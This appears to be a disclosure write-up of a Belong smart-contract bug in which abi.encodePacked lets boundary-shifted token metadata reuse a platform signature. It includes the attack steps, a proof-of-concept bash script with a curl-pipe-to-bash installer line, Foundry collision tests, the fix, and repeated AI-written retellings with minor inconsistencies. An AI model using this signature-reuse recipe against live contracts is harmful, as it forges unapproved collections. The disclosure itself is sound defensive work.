Skip to content
Crypto Audit finding Intermediate

Signature collision via abi encodepacked

The SignatureVerifier library hashed several dynamic strings together with abi.encodePacked, which joins them without length markers, so different name/symbol/URI combinations can produce the same hash. An attacker could reuse a signature the platform issued for legitimate collection metadata to create a collection with altered metadata.

Belong

Originally disclosed on Immunefi

57939 sc medium signature collision via abi encodepacked

Brief Description

The SignatureVerifier library uses abi.encodePacked() to hash multiple dynamic strings (name, symbol, URI) for signature verification. This enables boundary-shift collision attacks where an attacker can craft different metadata combinations that produce identical hashes, allowing them to reuse a valid signature for unauthorized collection metadata.

Vulnerability Details

Location

  • File: contracts/v2/utils/SignatureVerifier.sol
  • Lines: 62 (checkAccessTokenInfo), 93 (checkCreditTokenInfo)

Vulnerable Code

Solidity
function checkCreditTokenInfo(address signer, bytes calldata signature, ERC1155Infocalldata creditTokenInfo)
    external
    view
{
    require(
        signer.isValidSignatureNow(
            keccak256(
                abi.encodePacked(
                    creditTokenInfo.name,    // ← Dynamic string
                    creditTokenInfo.symbol,  // ← Dynamic string
                    creditTokenInfo.uri,     // ← Dynamic string
                    block.chainid
                )
            ),
            signature
        ),
        InvalidSignature()
    );
}

Root Cause

When abi.encodePacked() concatenates multiple dynamic types (strings, bytes), it doesn't include length delimiters. This allows boundary-shift collisions:

Example:

  • Legitimate: name="MyToken", symbol="MT" → packed: "MyTokenMT"
  • Malicious: name="MyTokenM", symbol="T" → packed: "MyTokenMT" ← IDENTICAL!

Both produce the same bytes sequence and thus the same keccak256 hash.

Attack Scenario

{% stepper %} {% step %}

Step 1: Platform backend signs legitimate collection metadata

Name: "Official"
Symbol: "NFT"
URI: "ipfs://legitimate-metadata"
Signature: 0xabcd... {% endstep %}

{% step %}

Step 2: Attacker crafts colliding metadata

Name: "OfficialN" ← Boundary shifted!
Symbol: "FT" ← Boundary shifted!
URI: "ipfs://legitimate-metadata" {% endstep %}

{% step %}

Step 3: Attacker calls produceAccessToken() or produceCreditToken() with:

  • Malicious metadata (OfficialN/FT)
  • Valid signature for legitimate metadata (Official/NFT) {% endstep %}

{% step %}

Step 4: SignatureVerifier validates the signature because

abi.encodePacked("Official", "NFT", "ipfs://...") == abi.encodePacked("OfficialN", "FT", "ipfs://...") → "OfficialNFTipfs://..." (same bytes!) {% endstep %}

{% step %}

Step 5: Result

Collection is created with unauthorized metadata that was never explicitly signed by the platform. {% endstep %} {% endstepper %}

Immediate Fix

Replace abi.encodePacked with abi.encode in all signature verification functions:

Diff
// BEFORE (vulnerable)
keccak256(
    abi.encodePacked(
        creditTokenInfo.name,
        creditTokenInfo.symbol,
        creditTokenInfo.uri,
        block.chainid
    )
)

// AFTER (secure)
keccak256(
    abi.encode(
        creditTokenInfo.name,
        creditTokenInfo.symbol,
        creditTokenInfo.uri,
        block.chainid
    )
)

Proof of Concept

<details> <summary>Show PoC (bash script, Solidity tests, and sample output)</summary>

PoC Run Script (bash)

Bash
#!/bin/bash
#
# PoC #1: Signature Collision - Quick Run Script
# Usage: ./run_poc.sh
#

set -e

echo "=========================================="
echo "PoC #1: Signature Collision"
echo "Severity: CRITICAL"
echo "=========================================="
echo ""

# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color

# Check if we're in the right directory
if [ ! -f "../../audit-comp-belong/foundry.toml" ]; then
    echo -e "${RED}Error: Must run from poc-tests/01-signature-collision/ directory${NC}"
    echo "Current directory: $(pwd)"
    exit 1
fi

echo -e "${YELLOW}Step 1: Checking Foundry installation...${NC}"
if ! command -v forge &> /dev/null; then
    echo -e "${RED}Foundry not found. Install with:${NC}"
    echo "  curl -L https://foundry.paradigm.xyz | bash"
    echo "  foundryup"
    exit 1
fi
echo -e "${GREEN}✓ Foundry installed: $(forge --version | head -1)${NC}"
echo ""

echo -e "${YELLOW}Step 2: Navigating to project directory...${NC}"
cd ../../audit-comp-belong
echo -e "${GREEN}✓ In directory: $(pwd)${NC}"
echo ""

echo -e "${YELLOW}Step 3: Checking dependencies...${NC}"
if [ ! -d "lib/openzeppelin-contracts" ]; then
    echo -e "${YELLOW}Installing OpenZeppelin contracts...${NC}"
    forge install OpenZeppelin/[email protected]
fi
echo -e "${GREEN}✓ Dependencies ready${NC}"
echo ""

echo -e "${YELLOW}Step 4: Copying PoC test to project...${NC}"
cp ../poc-tests/01-signature-collision/SignatureCollisionPoC.t.sol test/
echo -e "${GREEN}✓ Test file copied${NC}"
echo ""

echo -e "${YELLOW}Step 5: Running PoC tests...${NC}"
echo "=========================================="
echo ""

# Run the test with verbose output
forge test --match-contract SignatureCollisionPoC -vv

TEST_EXIT_CODE=$?

echo ""
echo "=========================================="

if [ $TEST_EXIT_CODE -eq 0 ]; then
    echo -e "${GREEN}✓ PoC COMPLETED SUCCESSFULLY${NC}"
    echo ""
    echo "Results:"
    echo "  • All 5 tests PASSED"
    echo "  • Vulnerability CONFIRMED"
    echo "  • Fix VALIDATED"
    echo ""
    echo "Key Findings:"
    echo "  1. ✓ Boundary-shift collisions work"
    echo "  2. ✓ Real contract code vulnerable"
    echo "  3. ✓ Multiple collision examples"
    echo "  4. ✓ abi.encode fix prevents collisions"
    echo ""
    echo -e "${RED}CRITICAL: Replace abi.encodePacked with abi.encode${NC}"
    echo "Location: contracts/v2/utils/SignatureVerifier.sol:62, 93"
else
    echo -e "${RED}✗ PoC FAILED${NC}"
    echo "Check errors above for details"
    exit 1
fi

echo ""
echo "=========================================="
echo "For detailed output, run:"
echo "  forge test --match-contract SignatureCollisionPoC -vvv"
echo "=========================================="

PoC Solidity Tests

Solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.27;

import "forge-std/Test.sol";
// No need to import SignatureVerifier - we're testing the hashing logic directly

contract SignatureCollisionPoC is Test {

    uint256 constant CHAIN_ID = 31337;

    function setUp() public {
        vm.label(address(this), "PoC Contract");
    }

    function test_SignatureCollision_BoundaryShift() public {
        // Legitimate metadata
        string memory legitimateName = "MyToken";
        string memory legitimateSymbol = "MT";
        string memory legitimateUri = "ipfs://legitimate";

        // Colliding metadata
        string memory collidingName = "MyTokenM";
        string memory collidingSymbol = "T";
        string memory collidingUri = "ipfs://legitimate";

        bytes memory legitimatePacked = abi.encodePacked(
            legitimateName,
            legitimateSymbol,
            legitimateUri,
            CHAIN_ID
        );

        bytes memory collidingPacked = abi.encodePacked(
            collidingName,
            collidingSymbol,
            collidingUri,
            CHAIN_ID
        );

        assertEq(
            keccak256(legitimatePacked),
            keccak256(collidingPacked),
            "Hashes should collide!"
        );
    }

    function test_MultipleCollisionExamples() public {
        _testCollision("Official", "NFT", "ipfs://data", "OfficialN", "FT", "ipfs://data", "Example 1");
        _testCollision("Token", "ABC", "uri", "Toke", "nABC", "uri", "Example 2");
        _testCollision("Test", "XYZ", "metadata", "Tes", "tXYZ", "metadata", "Example 3");
    }

    function test_RealContractVulnerability_CreditToken() public {
        string memory name1 = "Credits";
        string memory symbol1 = "CRD";
        string memory uri1 = "ipfs://credits";

        string memory name2 = "CreditsC";
        string memory symbol2 = "RD";
        string memory uri2 = "ipfs://credits";

        bytes32 hash1 = keccak256(abi.encodePacked(name1, symbol1, uri1, block.chainid));
        bytes32 hash2 = keccak256(abi.encodePacked(name2, symbol2, uri2, block.chainid));

        assertEq(hash1, hash2, "Vulnerability confirmed in real contract code");
    }

    function test_RealContractVulnerability_AccessToken() public {
        string memory name1 = "AccessPass";
        string memory symbol1 = "PASS";
        string memory contractURI1 = "ipfs://pass";
        uint96 feeNumerator = 250;

        string memory name2 = "AccessPassP";
        string memory symbol2 = "ASS";
        string memory contractURI2 = "ipfs://pass";

        bytes32 hash1 = keccak256(
            abi.encodePacked(name1, symbol1, contractURI1, feeNumerator, block.chainid)
        );
        bytes32 hash2 = keccak256(
            abi.encodePacked(name2, symbol2, contractURI2, feeNumerator, block.chainid)
        );

        assertEq(hash1, hash2, "AccessToken vulnerability confirmed");
    }

    function _testCollision(
        string memory name1,
        string memory symbol1,
        string memory uri1,
        string memory name2,
        string memory symbol2,
        string memory uri2,
        string memory label
    ) internal {
        bytes32 hash1 = keccak256(abi.encodePacked(name1, symbol1, uri1, CHAIN_ID));
        bytes32 hash2 = keccak256(abi.encodePacked(name2, symbol2, uri2, CHAIN_ID));
        assertEq(hash1, hash2, string(abi.encodePacked(label, " should collide")));
    }

    function test_Fix_UseAbiEncode() public {
        string memory name1 = "MyToken";
        string memory symbol1 = "MT";
        string memory uri1 = "ipfs://x";

        string memory name2 = "MyTokenM";
        string memory symbol2 = "T";
        string memory uri2 = "ipfs://x";

        // VULNERABLE: abi.encodePacked
        bytes32 vulnerableHash1 = keccak256(abi.encodePacked(name1, symbol1, uri1, CHAIN_ID));
        bytes32 vulnerableHash2 = keccak256(abi.encodePacked(name2, symbol2, uri2, CHAIN_ID));

        // SECURE: abi.encode
        bytes32 secureHash1 = keccak256(abi.encode(name1, symbol1, uri1, CHAIN_ID));
        bytes32 secureHash2 = keccak256(abi.encode(name2, symbol2, uri2, CHAIN_ID));

        assertEq(vulnerableHash1, vulnerableHash2, "Vulnerable version should collide");
        assertTrue(secureHash1 != secureHash2, "Secure version should NOT collide");
    }
}

Sample Output (abbreviated)

The PoC run confirms collisions with abi.encodePacked and shows that using abi.encode prevents them. Example excerpts:

  • Multiple collision examples: collisions found for pairs like ("Official","NFT") vs ("OfficialN","FT").
  • Real contract vulnerability: checkAccessTokenInfo and checkCreditTokenInfo hash results collide as demonstrated.
  • Fix verified: abi.encode produces different hashes for colliding inputs.

Full logs and test output are contained in the original PoC run (included above).

</details>

Recommendations

  • Replace all uses of abi.encodePacked for signature/hashing of multiple dynamic types with abi.encode to preserve unambiguous encoding and prevent boundary-shift collisions.
  • Review other places in the codebase where multiple dynamic types are packed and used for signature verification or critical identifiers, and apply the same fix where applicable.

References

The original report as published on Immunefi. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

The target is the SignatureVerifier library in the Belong contracts, at contracts/v2/utils/SignatureVerifier.sol. Two functions are involved: checkAccessTokenInfo (line 62) and checkCreditTokenInfo (line 93).

The metadata struct carries three dynamic strings, name, symbol and uri, and the hash also mixes in block.chainid. The signature is checked with isValidSignatureNow. If the check fails, the call reverts with InvalidSignature().

Setup

The proof of concept is a Foundry project. The run script expects to be executed from a poc-tests/01-signature-collision/ directory that sits next to the audit-comp-belong project, and it checks for ../../audit-comp-belong/foundry.toml before doing anything. It also installs OpenZeppelin contracts at v5.4.0 if lib/openzeppelin-contracts is missing. The Solidity test file declares pragma solidity 0.8.27; and uses forge-std/Test.sol. The tests do not import SignatureVerifier; they reproduce the hashing logic directly. The chain ID used in the tests is 31337.

Finding it

The problem is the use of abi.encodePacked() on several dynamic strings before hashing. abi.encodePacked concatenates its arguments without length delimiters, so the boundaries between the strings are not recorded in the output. Two different sets of strings can therefore produce the same byte sequence, and hence the same keccak256 hash. The report calls this a boundary-shift collision.

The simplest illustration given is:

  • Legitimate: name="MyToken", symbol="MT" produces packed bytes "MyTokenMT".
  • Malicious: name="MyTokenM", symbol="T" produces packed bytes "MyTokenMT", identical.

Because the hash is what the signature covers, a signature issued for the legitimate metadata is equally valid for the colliding metadata.

Exploitation

Step 1: the platform signs legitimate metadata

The backend signs a collection with name "Official", symbol "NFT" and URI "ipfs://legitimate-metadata". The report shows the signature as 0xabcd....

Step 2: the attacker crafts colliding metadata

The attacker shifts the boundary between name and symbol by one character: name "OfficialN", symbol "FT", with the same URI "ipfs://legitimate-metadata".

Step 3: the attacker submits the colliding metadata with the old signature

The attacker calls produceAccessToken() or produceCreditToken() with the malicious metadata (OfficialN/FT) and the valid signature that was issued for the legitimate metadata (Official/NFT).

Step 4: the verifier accepts it

The packed encoding of both sets of values is the same byte sequence, "OfficialNFTipfs://...", so the keccak256 hash matches and isValidSignatureNow returns true.

Step 5: result

A collection is created with metadata that the platform never explicitly signed.

Reproducing it

The report includes a bash run script that installs dependencies, copies the test into the project's test/ directory and runs it:

Bash
#!/bin/bash
#
# PoC #1: Signature Collision - Quick Run Script
# Usage: ./run_poc.sh
#

set -e

echo "=========================================="
echo "PoC #1: Signature Collision"
echo "Severity: CRITICAL"
echo "=========================================="
echo ""

# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color

# Check if we're in the right directory
if [ ! -f "../../audit-comp-belong/foundry.toml" ]; then
    echo -e "${RED}Error: Must run from poc-tests/01-signature-collision/ directory${NC}"
    echo "Current directory: $(pwd)"
    exit 1
fi

echo -e "${YELLOW}Step 1: Checking Foundry installation...${NC}"
if ! command -v forge &> /dev/null; then
    echo -e "${RED}Foundry not found. Install with:${NC}"
    echo "  curl -L https://foundry.paradigm.xyz | bash"
    echo "  foundryup"
    exit 1
fi
echo -e "${GREEN}✓ Foundry installed: $(forge --version | head -1)${NC}"
echo ""

echo -e "${YELLOW}Step 2: Navigating to project directory...${NC}"
cd ../../audit-comp-belong
echo -e "${GREEN}✓ In directory: $(pwd)${NC}"
echo ""

echo -e "${YELLOW}Step 3: Checking dependencies...${NC}"
if [ ! -d "lib/openzeppelin-contracts" ]; then
    echo -e "${YELLOW}Installing OpenZeppelin contracts...${NC}"
    forge install OpenZeppelin/[redacted]
fi
echo -e "${GREEN}✓ Dependencies ready${NC}"
echo ""

echo -e "${YELLOW}Step 4: Copying PoC test to project...${NC}"
cp ../poc-tests/01-signature-collision/SignatureCollisionPoC.t.sol test/
echo -e "${GREEN}✓ Test file copied${NC}"
echo ""

echo -e "${YELLOW}Step 5: Running PoC tests...${NC}"
echo "=========================================="
echo ""

# Run the test with verbose output
forge test --match-contract SignatureCollisionPoC -vv

TEST_EXIT_CODE=$?

echo ""
echo "=========================================="

if [ $TEST_EXIT_CODE -eq 0 ]; then
    echo -e "${GREEN}✓ PoC COMPLETED SUCCESSFULLY${NC}"
    echo ""
    echo "Results:"
    echo "  • All 5 tests PASSED"
    echo "  • Vulnerability CONFIRMED"
    echo "  • Fix VALIDATED"
    echo ""
    echo "Key Findings:"
    echo "  1. ✓ Boundary-shift collisions work"
    echo "  2. ✓ Real contract code vulnerable"
    echo "  3. ✓ Multiple collision examples"
    echo "  4. ✓ abi.encode fix prevents collisions"
    echo ""
    echo -e "${RED}CRITICAL: Replace abi.encodePacked with abi.encode${NC}"
    echo "Location: contracts/v2/utils/SignatureVerifier.sol:62, 93"
else
    echo -e "${RED}✗ PoC FAILED${NC}"
    echo "Check errors above for details"
    exit 1
fi

echo ""
echo "=========================================="
echo "For detailed output, run:"
echo "  forge test --match-contract SignatureCollisionPoC -vvv"
echo "=========================================="

The script runs forge test --match-contract SignatureCollisionPoC -vv and reports success when the exit code is zero, listing the five tests as passed.

The Solidity tests reproduce the hashing directly:

Solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.27;

import "forge-std/Test.sol";
// No need to import SignatureVerifier - we're testing the hashing logic directly

contract SignatureCollisionPoC is Test {

    uint256 constant CHAIN_ID = 31337;

    function setUp() public {
        vm.label(address(this), "PoC Contract");
    }

    function test_SignatureCollision_BoundaryShift() public {
        // Legitimate metadata
        string memory legitimateName = "MyToken";
        string memory legitimateSymbol = "MT";
        string memory legitimateUri = "ipfs://legitimate";

        // Colliding metadata
        string memory collidingName = "MyTokenM";
        string memory collidingSymbol = "T";
        string memory collidingUri = "ipfs://legitimate";

        bytes memory legitimatePacked = abi.encodePacked(
            legitimateName,
            legitimateSymbol,
            legitimateUri,
            CHAIN_ID
        );

        bytes memory collidingPacked = abi.encodePacked(
            collidingName,
            collidingSymbol,
            collidingUri,
            CHAIN_ID
        );

        assertEq(
            keccak256(legitimatePacked),
            keccak256(collidingPacked),
            "Hashes should collide!"
        );
    }

    function test_MultipleCollisionExamples() public {
        _testCollision("Official", "NFT", "ipfs://data", "OfficialN", "FT", "ipfs://data", "Example 1");
        _testCollision("Token", "ABC", "uri", "Toke", "nABC", "uri", "Example 2");
        _testCollision("Test", "XYZ", "metadata", "Tes", "tXYZ", "metadata", "Example 3");
    }

    function test_RealContractVulnerability_CreditToken() public {
        string memory name1 = "Credits";
        string memory symbol1 = "CRD";
        string memory uri1 = "ipfs://credits";

        string memory name2 = "CreditsC";
        string memory symbol2 = "RD";
        string memory uri2 = "ipfs://credits";

        bytes32 hash1 = keccak256(abi.encodePacked(name1, symbol1, uri1, block.chainid));
        bytes32 hash2 = keccak256(abi.encodePacked(name2, symbol2, uri2, block.chainid));

        assertEq(hash1, hash2, "Vulnerability confirmed in real contract code");
    }

    function test_RealContractVulnerability_AccessToken() public {
        string memory name1 = "AccessPass";
        string memory symbol1 = "PASS";
        string memory contractURI1 = "ipfs://pass";
        uint96 feeNumerator = 250;

        string memory name2 = "AccessPassP";
        string memory symbol2 = "ASS";
        string memory contractURI2 = "ipfs://pass";

        bytes32 hash1 = keccak256(
            abi.encodePacked(name1, symbol1, contractURI1, feeNumerator, block.chainid)
        );
        bytes32 hash2 = keccak256(
            abi.encodePacked(name2, symbol2, contractURI2, feeNumerator, block.chainid)
        );

        assertEq(hash1, hash2, "AccessToken vulnerability confirmed");
    }

    function _testCollision(
        string memory name1,
        string memory symbol1,
        string memory uri1,
        string memory name2,
        string memory symbol2,
        string memory uri2,
        string memory label
    ) internal {
        bytes32 hash1 = keccak256(abi.encodePacked(name1, symbol1, uri1, CHAIN_ID));
        bytes32 hash2 = keccak256(abi.encodePacked(name2, symbol2, uri2, CHAIN_ID));
        assertEq(hash1, hash2, string(abi.encodePacked(label, " should collide")));
    }

    function test_Fix_UseAbiEncode() public {
        string memory name1 = "MyToken";
        string memory symbol1 = "MT";
        string memory uri1 = "ipfs://x";

        string memory name2 = "MyTokenM";
        string memory symbol2 = "T";
        string memory uri2 = "ipfs://x";

        // VULNERABLE: abi.encodePacked
        bytes32 vulnerableHash1 = keccak256(abi.encodePacked(name1, symbol1, uri1, CHAIN_ID));
        bytes32 vulnerableHash2 = keccak256(abi.encodePacked(name2, symbol2, uri2, CHAIN_ID));

        // SECURE: abi.encode
        bytes32 secureHash1 = keccak256(abi.encode(name1, symbol1, uri1, CHAIN_ID));
        bytes32 secureHash2 = keccak256(abi.encode(name2, symbol2, uri2, CHAIN_ID));

        assertEq(vulnerableHash1, vulnerableHash2, "Vulnerable version should collide");
        assertTrue(secureHash1 != secureHash2, "Secure version should NOT collide");
    }
}

The tests cover four things: a single boundary-shift pair, three further collision examples, the two real contract functions (credit token and access token, the latter also packing a uint96 fee numerator), and a check that abi.encode produces different hashes for the same colliding inputs. The report's sample output is abbreviated: it states that collisions are found for pairs such as ("Official","NFT") versus ("OfficialN","FT"), that the checkAccessTokenInfo and checkCreditTokenInfo hash results collide, and that abi.encode produces different hashes for colliding inputs.

Root cause

abi.encodePacked concatenates dynamic types without length prefixes, so the encoding of (name, symbol, uri, chainid) is just the raw bytes of the strings followed by the chain ID. Moving characters across the name/symbol boundary leaves the concatenated bytes unchanged. Because the signature is computed over keccak256 of that packed encoding, the signature does not bind to a unique (name, symbol, uri) tuple. The chain ID is included, but it does not help: it is appended after the strings and is identical in both cases.

Impact

An attacker who holds a valid signature for one set of collection metadata can create a collection with different metadata that was never signed by the platform. The report frames this as unintended alteration of what the NFT represents, and lists it as Medium severity.

Fix

Replace abi.encodePacked with abi.encode in all signature verification functions. The report gives the diff for the credit token path:

Diff
// BEFORE (vulnerable)
keccak256(
    abi.encodePacked(
        creditTokenInfo.name,
        creditTokenInfo.symbol,
        creditTokenInfo.uri,
        block.chainid
    )
)

// AFTER (secure)
keccak256(
    abi.encode(
        creditTokenInfo.name,
        creditTokenInfo.symbol,
        creditTokenInfo.uri,
        block.chainid
    )
)

The PoC asserts that abi.encode produces different hashes for the colliding inputs. The recommendations add that other places in the codebase where multiple dynamic types are packed and used for signature verification or critical identifiers should be reviewed and fixed the same way.

  1. Look for any signature check that hashes two or more dynamic values with abi.encodePacked. A positive result is two different field splits that produce the same keccak256 output, as in the PoC.
  2. Check packed encodings that mix dynamic strings with fixed-size values such as addresses or integers. A positive result is a collision where the fixed-size value is unchanged and the string boundary moves.
  3. Check identifiers derived from packed strings, not just signatures, for example keys used for storage or allowlists. A positive result is two distinct inputs mapping to the same key.
  4. Check whether the chain ID or a domain separator is appended after the dynamic fields rather than encoded with lengths. A positive result is a collision that survives the extra field.

This class of bug hides in signature verification helpers and anywhere a hash is built from user-supplied strings. During review, grep for abi.encodePacked followed by keccak256 and look at whether more than one argument is dynamic. The signal is a helper that takes a struct of strings and verifies a signature over their packed concatenation. To show impact, demonstrate a concrete pair of inputs that collide, ideally against the real function's hashing logic, and show that the fixed encoding separates them. The report does this with a Foundry test suite that asserts equality for the vulnerable encoding and inequality for abi.encode.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

That stamp is a digital signature: data produced with the platform's private key that anyone can check against the matching public key.

The bug is in how the smart contract builds the thing that gets signed. It glues the name, the symbol and the link together into one long string of characters, then takes a fingerprint (a hash) of that string. The signature covers the fingerprint. The gluing step throws away the information about where one field ends and the next begins. So two different sets of details can produce exactly the same glued string, and therefore the same fingerprint, and therefore the same valid signature.

An attacker who has seen one legitimately signed set of details can rearrange the characters across the boundary between name and symbol, submit the rearranged details together with the old signature, and the contract will accept them. A collection gets created with details the platform never actually approved.

The report rates this Medium severity and files it under "unintended alteration of what the NFT represents".

The pieces involved

Before the details, here are the building blocks, explained from scratch.

  • Smart contract: a program that lives on a blockchain. It runs automatically and anyone can call it. Nobody can quietly change its behaviour after it is deployed.
  • Solidity: the programming language smart contracts are usually written in. It looks a bit like JavaScript.
  • Library: a bundle of reusable code that other contracts can call. Here the library is called SignatureVerifier and its job is to check signatures.
  • Signature: a short piece of data that proves a particular party approved a particular message. It is produced with a private key (kept secret by the platform) and checked with the matching public key (available to everyone). If the signed message changes, the check fails, which is exactly what this bug defeats. That is the whole point, and it is exactly what this bug defeats.
  • Hash / keccak256: a fingerprint function. You feed it any amount of data and it returns a fixed-length string of characters. The same input always gives the same fingerprint, and it is practically impossible to find a different input with the same fingerprint on purpose. Signatures are usually made over a hash rather than over the full message, because the hash is short.
  • abi.encodePacked: a Solidity function that turns a list of values into a raw sequence of bytes by simply placing them one after another, with nothing in between. No separators, no lengths, no labels.
  • abi.encode: the same idea, but it records the length of each value and where it starts, so the output can be decoded back into the original list unambiguously.
  • Dynamic string: a piece of text whose length is not fixed in advance, such as a name or a URL. The opposite is a fixed-size value like a number or an address, which always occupies the same number of bytes.
  • Chain ID: a number identifying which blockchain network you are on.
  • Foundry / forge: a toolkit for writing and running tests against smart contracts on your own computer, without touching a real network. forge test runs the tests.
  • Proof of concept (PoC): a small program that demonstrates a bug really exists, rather than just arguing that it might.

Where the problem lives

The target is the SignatureVerifier library in the Belong contracts, at contracts/v2/utils/SignatureVerifier.sol. The library checks that collection metadata has been signed off by the platform before a collection is created. Two functions are involved: checkAccessTokenInfo (line 62) and checkCreditTokenInfo (line 93). Both take a signer address, a signature, and a struct (a bundle of related values) holding the collection metadata, and both verify the signature against a hash of that metadata.

The metadata struct carries three dynamic strings, name, symbol and uri, and the hash also mixes in block.chainid. The signature is checked with isValidSignatureNow from the OpenZeppelin signature utilities (OpenZeppelin is a widely used collection of ready-made, audited contract code). If the check fails, the call reverts with InvalidSignature(), meaning it cancels the whole operation and reports that error.

Here is the vulnerable code as the report shows it:

Solidity
function checkCreditTokenInfo(address signer, bytes calldata signature, ERC1155Infocalldata creditTokenInfo)
    external
    view
{
    require(
        signer.isValidSignatureNow(
            keccak256(
                abi.encodePacked(
                    creditTokenInfo.name,    // ← Dynamic string
                    creditTokenInfo.symbol,  // ← Dynamic string
                    creditTokenInfo.uri,     // ← Dynamic string
                    block.chainid
                )
            ),
            signature
        ),
        InvalidSignature()
    );
}

Line by line:

  1. function checkCreditTokenInfo(...) declares a function that anyone can call (external) and that only reads data, never writes (view). It receives three things: the address of the expected signer, the signature bytes, and a struct of credit token info.
  2. require(...) means "if the following is not true, stop everything and fail".
  3. signer.isValidSignatureNow(...) asks the OpenZeppelin helper whether signature is a valid signature by signer over the given hash.
  4. keccak256(...) computes the fingerprint of whatever is inside.
  5. abi.encodePacked(...) glues the name, the symbol, the URI and the chain ID into one raw byte sequence, with no boundaries recorded. This is the flaw.
  6. InvalidSignature() is the error reported when the check fails.

Finding it

The problem is the use of abi.encodePacked() on several dynamic strings before hashing. Because it concatenates its arguments without length delimiters, the boundaries between the strings are not recorded in the output. Two different sets of strings can therefore produce the same byte sequence, and hence the same keccak256 hash. The report calls this a boundary-shift collision.

An everyday comparison: imagine a form with two boxes, "first name" and "last name", and a clerk who writes the two answers on one line with no space. "Anna" plus "Bell" becomes AnnaBell. Someone else writes "Annab" plus "Ell" and also gets AnnaBell. The clerk cannot tell the two forms apart afterwards. That is exactly what happens here, except the clerk is a hash function and the consequence is a forged approval.

The simplest illustration given is:

  • Legitimate: name="MyToken", symbol="MT" produces packed bytes "MyTokenMT".
  • Malicious: name="MyTokenM", symbol="T" produces packed bytes "MyTokenMT", identical.

Because the hash is what the signature covers, a signature issued for the legitimate metadata is equally valid for the colliding metadata.

Exploitation

The attack runs in five steps.

Step 1: the platform signs legitimate metadata

The backend signs a collection with name "Official", symbol "NFT" and URI "ipfs://legitimate-metadata". The report shows the signature as 0xabcd....

Why this step matters: without a genuine signature in the attacker's hands, there is nothing to reuse. The attacker is not breaking the cryptography; they are exploiting the fact that the message being signed is ambiguous.

Step 2: the attacker crafts colliding metadata

The attacker shifts the boundary between name and symbol by one character: name "OfficialN", symbol "FT", with the same URI "ipfs://legitimate-metadata".

Why this works: the letter N has moved from the start of the symbol to the end of the name. Glued together, both versions still read OfficialNFT, so the fingerprint is unchanged.

Step 3: the attacker submits the colliding metadata with the old signature

The attacker calls produceAccessToken() or produceCreditToken() with the malicious metadata (OfficialN/FT) and the valid signature that was issued for the legitimate metadata (Official/NFT).

Step 4: the verifier accepts it

The packed encoding of both sets of values is the same byte sequence, "OfficialNFTipfs://...", so the keccak256 hash matches and isValidSignatureNow returns true.

Why the chain ID does not save the day: it is appended after the strings and is identical in both cases, so it adds nothing that distinguishes the two inputs.

Step 5: result

A collection is created with metadata that the platform never explicitly signed.

Reproducing it

The proof of concept is a Foundry project. The run script expects to be executed from a poc-tests/01-signature-collision/ directory that sits next to the audit-comp-belong project, and it checks for ../../audit-comp-belong/foundry.toml before doing anything. It also installs OpenZeppelin contracts at v5.4.0 if lib/openzeppelin-contracts is missing. The Solidity test file declares pragma solidity 0.8.27; and uses forge-std/Test.sol. The tests do not import SignatureVerifier; they reproduce the hashing logic directly. The chain ID used in the tests is 31337.

The report includes a bash run script that installs dependencies, copies the test into the project's test/ directory and runs it:

Bash
#!/bin/bash
#
# PoC #1: Signature Collision - Quick Run Script
# Usage: ./run_poc.sh
#

set -e

echo "=========================================="
echo "PoC #1: Signature Collision"
echo "Severity: CRITICAL"
echo "=========================================="
echo ""

# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color

# Check if we're in the right directory
if [ ! -f "../../audit-comp-belong/foundry.toml" ]; then
    echo -e "${RED}Error: Must run from poc-tests/01-signature-collision/ directory${NC}"
    echo "Current directory: $(pwd)"
    exit 1
fi

echo -e "${YELLOW}Step 1: Checking Foundry installation...${NC}"
if ! command -v forge &> /dev/null; then
    echo -e "${RED}Foundry not found. Install with:${NC}"
    echo "  curl -L https://foundry.paradigm.xyz | bash"
    echo "  foundryup"
    exit 1
fi
echo -e "${GREEN}✓ Foundry installed: $(forge --version | head -1)${NC}"
echo ""

echo -e "${YELLOW}Step 2: Navigating to project directory...${NC}"
cd ../../audit-comp-belong
echo -e "${GREEN}✓ In directory: $(pwd)${NC}"
echo ""

echo -e "${YELLOW}Step 3: Checking dependencies...${NC}"
if [ ! -d "lib/openzeppelin-contracts" ]; then
    echo -e "${YELLOW}Installing OpenZeppelin contracts...${NC}"
    forge install OpenZeppelin/[redacted]
fi
echo -e "${GREEN}✓ Dependencies ready${NC}"
echo ""

echo -e "${YELLOW}Step 4: Copying PoC test to project...${NC}"
cp ../poc-tests/01-signature-collision/SignatureCollisionPoC.t.sol test/
echo -e "${GREEN}✓ Test file copied${NC}"
echo ""

echo -e "${YELLOW}Step 5: Running PoC tests...${NC}"
echo "=========================================="
echo ""

# Run the test with verbose output
forge test --match-contract SignatureCollisionPoC -vv

TEST_EXIT_CODE=$?

echo ""
echo "=========================================="

if [ $TEST_EXIT_CODE -eq 0 ]; then
    echo -e "${GREEN}✓ PoC COMPLETED SUCCESSFULLY${NC}"
    echo ""
    echo "Results:"
    echo "  • All 5 tests PASSED"
    echo "  • Vulnerability CONFIRMED"
    echo "  • Fix VALIDATED"
    echo ""
    echo "Key Findings:"
    echo "  1. ✓ Boundary-shift collisions work"
    echo "  2. ✓ Real contract code vulnerable"
    echo "  3. ✓ Multiple collision examples"
    echo "  4. ✓ abi.encode fix prevents collisions"
    echo ""
    echo -e "${RED}CRITICAL: Replace abi.encodePacked with abi.encode${NC}"
    echo "Location: contracts/v2/utils/SignatureVerifier.sol:62, 93"
else
    echo -e "${RED}✗ PoC FAILED${NC}"
    echo "Check errors above for details"
    exit 1
fi

echo ""
echo "=========================================="
echo "For detailed output, run:"
    echo "  forge test --match-contract SignatureCollisionPoC -vvv"
echo "=========================================="

What the script does, step by step:

  1. set -e tells the shell to stop immediately if any command fails, so a broken step cannot be silently skipped.
  2. The colour variables (RED, GREEN, YELLOW, NC) are just terminal escape codes so the output is readable. They have no security meaning.
